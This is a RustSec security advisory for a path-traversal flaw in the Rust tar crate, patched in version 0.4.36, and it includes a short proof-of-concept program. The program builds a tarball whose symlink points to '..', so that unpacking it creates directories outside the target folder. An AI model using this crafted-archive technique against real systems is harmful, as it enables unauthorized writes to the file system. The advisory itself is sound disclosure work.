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RUSTSEC-2021-0080

Links in archive can create arbitrary directories

Reported
Issued
Package
tar (crates.io)
Type
Vulnerability
Aliases
References
CVSS Score
7.5 HIGH
CVSS Details
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Patched
  • >=0.4.36
Affected Functions
Version
tar::Archive::unpack
  • <0.4.36

Description

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

Advisory available under CC0-1.0 license.